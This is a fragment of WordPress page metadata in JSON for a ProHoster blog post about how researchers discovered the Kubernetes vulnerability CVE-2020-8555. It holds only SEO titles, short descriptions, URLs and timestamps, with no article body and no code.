content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Kur nuk b\u00ebhet fjal\u00eb vet\u00ebm p\u00ebr dob\u00ebsin\u00eb n\u00eb Kubernetes\u2026 | ProHoster","description":"Sh\u00ebnim: autor\u00ebt e k\u00ebtij artikulli flasin n\u00eb detaje se si zbuluan dob\u00ebsin\u00eb CVE-2020\u20138555 n\u00eb Kubernetes. Edhe pse n\u00eb fillim dukej e pap\u00ebrfillshme, n\u00eb kombinim me faktor\u00eb t\u00eb tjer\u00eb, r\u00ebnd\u00ebsia e saj u vler\u00ebsua si maksimale nga disa ofrues t\u00eb sh\u00ebrbimeve cloud. Specialist\u00ebt u shp\u00ebrblyen bujarisht nga disa organizata p\u00ebr pun\u00ebn e kryer. Kush jemi ne Ne jemi dy francez\u00eb","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445","og:url":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58"},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}